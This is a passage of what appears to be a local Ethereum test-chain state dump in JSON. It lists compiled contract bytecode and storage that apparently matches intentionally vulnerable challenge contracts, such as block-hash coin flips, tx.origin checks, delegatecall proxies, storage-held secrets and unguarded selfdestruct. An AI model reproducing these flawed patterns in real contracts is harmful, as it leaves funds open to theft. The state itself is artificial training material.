366004610191565b6100d9565b005b60025461006f906001600160a01b031681565b6100b16100d4366004610191565b610163565b600154604051630efac9b160e21b6020820152602481018390526001600160a01b03909116906044015b60408051601f198184030181529082905261011d916101aa565b600060405180830381855af49150503d8060008114610158576040519150601f19603f3d011682016040523d82523d6000602084013e61015d565b606091505b50505050565b600054604051630efac9b160e21b6020820152602481018390526001600160a01b0390911690604401610103565b6000602082840312156101a357600080fd5b5035919050565b6000825160005b818110156101cb57602081860181015185830152016101b1565b50600092019182525091905056fea26469706673582212202ed990de2b7ec460cca47636afcdbe9ddf7ed430459e8b6082aabe73765f499164736f6c63430008150033","storage":{"0x0":"0x4ed7c70f96b99c776995fb64377f0d4ab3b0e1c1","0x1":"0x322813fd9a801c5507c9de605d63cea4f2ce6c44","0x2":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607e565b6068565b005b8060015403607b576000805460ff191690555b50565b600060208284031215608f57600080fd5b503591905056fea264697066735822122071c97e42a1d97328a299f8d3cb23a8cb10ede7438f243a3c67d186dee5a61a7e64736f6c63430008150033","storage":{"0x0":"0x1","0x1":"0xea815e5b47230f4ce170db478a634d329a243c4f41eb04f982882910742fcb67"}},"0xc3e53f4d16ae77db1c982e75a937b9f60fe63690":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146100fc5780638f32d59b1461012057806394bd756914610128578063b5c645bd14610157578063f2fde38b146101745761009e565b80630339f300146100a3578063328b52cb146100c857806333a8c45a146100d057806347f57b32146100ec578063715018a6146100f4575b600080fd5b6100c6600480360360408110156100b957600080fd5b508035906020013561019a565b005b6100c66101cb565b6100d86101e0565b604080519115158252519081900360200190f35b6100c66101f0565b6100c6610219565b6101046102bc565b604080516001600160a01b039092168252519081900360200190f35b6100d86102cc565b6101456004803603602081101561013e57600080fd5b50356102dd565b60408051918252519081900360200190f35b6100c66004803603602081101561016d57600080fd5b50356102fb565b6100c66004803603602081101561018a57600080fd5b50356001600160a01b0316610342565b600054600160a01b900460ff166101ad57fe5b80600183815481106101bb57fe5b6000918252602090912001555050565b6000805460ff60a01b1916600160a01b179055565b600054600160a01b900460ff1681565b600054600160a01b900460ff1661020357fe5b600180549061021690600019830161043f565b50565b6102216102cc565b610272576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b600181815481106102ea57fe5b600091825260209091200154905081565b600054600160a01b900460ff1661030e57fe5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60155565b61034a6102cc565b61039b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610216816001600160a01b0381166103e45760405162461bcd60e51b81526004018080602001828103825260268152602001806104876026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b81548183558181111561046357600083815260209020610463918101908301610468565b505050565b6102c991905b80821115610482576000815560010161046e565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820b3ac1e2e32b6a9b29b96de82f00431e3b8253daefe23254f8419f9126b4dee0a64736f6c63430005110032","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0xc6e7df5e7b4f2a278906862b61205850344d4e7d":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80633370204e1461003b5780639db31d7714610063575b600080fd5b61004e610049366004610124565b61008e565b60405190151581526020015b60405180910390f35b600054610076906001600160a01b031681565b6040516001600160a01b03909116815260200161005a565b600032330361009c57600080fd5b333b80156100a957600080fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff161461010757600080fd5b600080546001600160a01b03191632179055600192505050919050565b60006020828403121561013657600080fd5b81356001600160c01b03198116811461014e57600080fd5b939250505056fea2646970667358221220af8324f04725fd59ee6b82457e7cedab8d8c553bd6d4684c745803060cef234964736f6c63430008150033","storage":{}},"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631d263f671461003b578063e6f334d714610063575b600080fd5b61004e610049366004610101565b61007a565b60405190151581526020015b60405180910390f35b61006c60005481565b60405190815260200161005a565b600080610088600143610140565b4060001c9050806001540361009c57600080fd5b60018190556002546000906100b19083610159565b90506000816001146100c45760006100c7565b60015b9050841515811515036100f3576000805490806100e38361017b565b9091555060019695505050505050565b505060008080559392505050565b60006020828403121561011357600080fd5b8135801515811461012357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b818103818111156101535761015361012a565b92915050565b60008261017657634e487b7160e01b600052601260045260246000fd5b500490565b60006001820161018d5761018d61012a565b506001019056fea26469706673582212202e6bacfe7c3aca52c8cc610e8a720f9dcfa4772140f84e30a16da3df296a4fed64736f6c63430008150033","storage":{"0x0":"0x0","0x2":"0x8000000000000000000000000000000000000000000000000000000000000000"}},"0xe6e340d132b5f46d1e472debcd681b2abc16e57e":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80631f87943314603757806349a7a26d146066575b600080fd5b606460423660046094565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b005b6000546078906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560a557600080fd5b81356001600160a01b038116811460bb57600080fd5b939250505056fea26469706673582212205cae1f7f79dcf5054a426d345c2d1d307e85898d390a3293061841d6fc0340ec64736f6c63430008150033","storage":{}},"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266":{"nonce":56,"balance":"0x21c25d277ce27b45016","code":"0x","storage":{}},"0xf3ee3c4ec25e8414838567818a30c90c7d62f834":{"nonce":1,"balance":"0x186a0","code":"0x6080604052600436106100425760003560e01c8062f55d9d1461006b57806306fdde031461008d57806327e235e3146100b8578063a9059cbb146100f357600080fd5b366100665761005234600a610222565b336000908152600160205260409020819055005b600080fd5b34801561007757600080fd5b5061008b610086366004610257565b610113565b005b34801561009957600080fd5b506100a261011f565b6040516100af919061027b565b60405180910390f35b3480156100c457600080fd5b506100e56100d3366004610257565b60016020526000908152604090205481565b6040519081526020016100af565b3480156100ff57600080fd5b5061008b61010e3660046102c9565b6101ad565b806001600160a01b0316ff5b6000805461012c906102f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610158906102f5565b80156101a55780601f1061017a576101008083540402835291602001916101a5565b820191906000526020600020905b81548152906001019060200180831161018857829003601f168201915b505050505081565b336000908152600160205260409020548111156101c957600080fd5b336000908152600160205260409020546101e490829061032f565b33600090815260016020526040808220929092556001600160a01b0393909316835290912055565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176102395761023961020c565b92915050565b6001600160a01b038116811461025457600080fd5b50565b60006020828403121561026957600080fd5b81356102748161023f565b9392505050565b600060208083528351808285015260005b818110156102a85785810183015185820160400152820161028c565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156102dc57600080fd5b82356102e78161023f565b946020939093013593505050565b600181811c9082168061030957607f821691505b60208210810361032957634e487b7160e01b600052602260045260246000fd5b50919050565b818103818111156102395761023961020c56fea26469706673582212207f4c6c6dadf7413d03e7f978bed3b42dfc014ffd496f06a156234f154195770e64736f6c63430008150033","storage":{"0x0":"0x496e697469616c546f6b656e0000000000000000000000000000000000000018","0xa3c1274aadd82e4d12c8004c33fb244ca686dad4fcc8957fc5668588c11d9502":"0xf4240"}},"0xf5059a5d33d5853360d16c683c16e67980206f36":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea2646970667358221220a7e6e634da2be6000d7b49d955d998bf4b98423db4172369c10d2785a8eea4d364736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20310000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3100000000000000000000000000000000000000000000000000000008","0x5":"0x851356ae760d987e095750cceb3bc6014560891c","0x5bc9f748056d7d2b880339acf2f11cd298f14d86229bc64da98678b864592385":"0x64","0x60339cdee841ef45946edbcf5f8e8f995d8f7fcec4879b7742b313ef8d87c7cf":"0x0","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0xa"}}}} \ No newline at end of file